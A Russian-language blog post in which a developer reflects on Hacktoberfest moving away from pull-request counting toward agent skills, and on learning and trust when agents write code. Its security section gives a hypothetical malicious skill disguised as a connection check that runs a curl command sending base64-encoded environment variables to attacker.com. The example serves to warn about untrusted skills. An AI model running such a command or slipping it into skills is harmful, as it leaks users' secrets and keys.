У меня в шкафу есть три футболки Hacktoberfest. Каждый октябрь я вспоминала про евент, старалась выбрать время, находила пару задач, открывала свои пул-реквесты и ждала, когда их вмёржат — и я получу футболку. Я носила их с настоящей гордостью. Они были доказательством, что я причастна к опенсорсу.

Конец подсчёту пул-реквестов

В этом году Hacktoberfest не считает пул-реквесты.

Всё сместилось в сторону сотен офлайновых фестивалей и онлайн-хакатона — вокруг открытого кода и open-weight-моделей. Меня зацепила их собственная формулировка: «Вместо того чтобы считать пул-реквесты, ты напишешь свой первый skills.md, соберёшь собственного опенсорсного агента, дообучишь open-weight-модель — или пойдёшь туда, куда поведёт любопытство». И понятно почему. ИИ сделал написание кода для пул-реквеста делом пары запросов по подписке. Мейнтейнеры утонули бы в проверке реквестов и от проведения евента не выиграл бы никто.

И я задумалась о неприятном. Патчи, которые я отправляла ради этих футболок, — агент теперь пишет такой код за несколько секунд. Если ценностью был код, то эта ценность только что подешевела. Ради чего вообще была та футболка?

Участвовать в походе или просто перелететь из точки А в точку Б?

Ответ Hacktoberfest такой: то, ради чего мы писали код, никуда не делось. Совместная работа. Привычка делать то, что действительно нужно другим людям. И обучение — раньше мы учились через написание кода, теперь агенты помогают нам учиться, но смысл всегда был в обучении, а не в наборе текста.

Мне всё время вспоминается одна картинка. Освоить язык или новый репозиторий раньше было маршрутом по пересеченной местности: горы, озёра, долгие обходы. Сама трудность и была тренировкой. И дело было не в том, чтобы запомнить синтаксис, — а в том, чтобы наработать настоящий навык: писать понятный, даже красивый код именно на этом языке, именно с этой библиотекой. Ты узнавал кодовую базу так, как узнают местность, — проходя её ногами, пока она не перестанет удивлять.

Теперь мы летим над ней. «Расскажи мне про этот репозиторий». «Почини вот эту ошибку и ещё вон ту». Мы поднимаемся в воздух и приземляемся почти у любой точки, минуя трудности путешествия. Раньше было ограничение — сколько маршрутов я реально могла пройти за месяц: пара репозиториев, в которых я успевала разобраться настолько, чтобы приносить пользу. Теперь я могу что-то добавить почти в любой из них.

Это по-настоящему освобождает. Но подъём был не только преодолением трудностей. Именно на нём рождалось суждение — чувство, туда ли ты вообще идешь и правильное ли решение нашёл, а не просто правдоподобное. Полёт даёт охват. Но ты не получаешь навыка суждения. Это не довод против полёта. Просто стоит честно признать: охват и понимание — не одно и то же.

Новое узкое место — человеческий фактор

И вот тут новая карта Hacktoberfest становится интересной. Маршруты теперь — это скиллы, модели, агенты. Happy path выглядит так: ты решаешь проблему, оформляешь решение как скилл (короткий набор инструкций, которым может следовать другой агент), пушишь репозиторий — и если он полезен, чужие агенты подхватывают его, и он становится популярным. На бумаге звучит отлично: обмен знаниями без прежних трудностей.

Вот только на этой карте есть две проблемы, над которыми ни один агент за тебя не пролетит.

Первая — просто быть понятым. Она старше кода: это обычная человеческая задача — донести до другого свою идею так, как видишь её ты. Ты пишешь скилл, потому что нашел решение задачи, стоящей внимания и твоего времени. Но поймёт ли человек, которому это нужно, что скилл применим и к его случаю? А когда его агент прочитает твои инструкции — будет ли он им следовать или тихо заполнит пробелы тем, чего ты вовсе не имел в виду? Скилл, в котором никто не узнал своё, или который агент домыслил на ходу, не принесет пользы.

Вторая — безопасность, и это тот момент, который подчеркивает Hacktoberfest, только с другой стороны. Мейнтейнеров заваливает спамом, потому что вывод ИИ дёшево произвести и трудно ему доверять. А теперь переверни это: ты находишь скилл в интернете, и твой агент вот-вот его запустит — с твоими правами. Представь скилл, который выдаёт себя за безобидную «проверку соединения», а сам по-тихому выполняет curl attacker.com?env=$(env | base64) — отправляя твои переменные окружения, вместе со всеми ключами, и агент запускает его с той же уверенностью, что и всё остальное. Это безопасно? «Он же с GitHub» — не ответ. Непроверяемые инструкции на входе и непроверяемый код на выходе — это одна и та же проблема безопасности, просто вывернутая наизнанку.

Мой круглогодичный Hacktoberfest

Я делаю небольшой проект под названием worklore и начала его раньше, чем прочитала про эту смену парадигмы Hacktoberfest. Я просто знала две вещи, которые бесили меня в процессе использования чужих репозиториев сильнее всего. Любой README обещает золотые горы — по нему скилл очень полезный. Но что же конкретно он может сделать и подходит ли к моему случаю? А когда я всё же пробовала применить, нужно было или организовывать песочницу, или перечитывать весь код: можно ли доверить скиллу, в котором я не разобралась до конца, свои данные — если я не знаю всей его истории?

Так worklore и стал моим маленьким вкладом в эту новую эпоху — скорее экспериментом, чем готовым продуктом. Чтобы доказать, что описание действительно работает, я оперлась на подтверждения воспроизводимости истории, а не на звёзды и просмотры: у истории есть машиночитаемый контракт «воспроизведи это», и счётчик сдвигается только тогда, когда агент авторизованного человека прогоняет этот контракт в своём репозитории и отчитывается о результате. А чтобы ответить на вопрос «безопасно ли это», скилл можно просветить рентгеном skill-xray ещё до запуска — статический разбор его же текста сводит то, до чего скилл способен дотянуться (файлы, сеть, секреты, шелл), к понятному уровню возможностей. 

В этом году я открыла сайт Hacktoberfest с ожиданием чего-то интересного для себя как разработчика. Не предвидела всех этих изменений. Но когда прочитала правила этого года, поняла, что я уже делаю свой проект в этом духе. 

Ценность, которая осталась

Мы перестали ценить артефакт — пул-реквест, код, — потому что артефакт подешевел. Ценным осталось то, что всегда было под ним: работаем ли мы над тем, что людям действительно нужно; учимся ли, пока это делаем; и умеем ли делиться изученным так, чтобы другие могли это понять и безопасно применить.

Если агенты позволяют нам лететь над местностью, то работа, которую стоит делать сейчас, — это размечать тропы и расчищать безопасные площадки для посадки, чтобы следующий человек мог отличить настоящий маршрут от неверного, прежде чем по нему пойти. Это та самая незаметная часть, которую агент за тебя не сделает, — и как раз она мне дороже всего.

Футболки по-прежнему лежат в шкафу. Я не жалею об изменениях. Наоборот — они наконец назвали то, что мне всегда нравилось в октябре. Дело было не в подсчёте — дело было в самом пути.

Комментарии (0)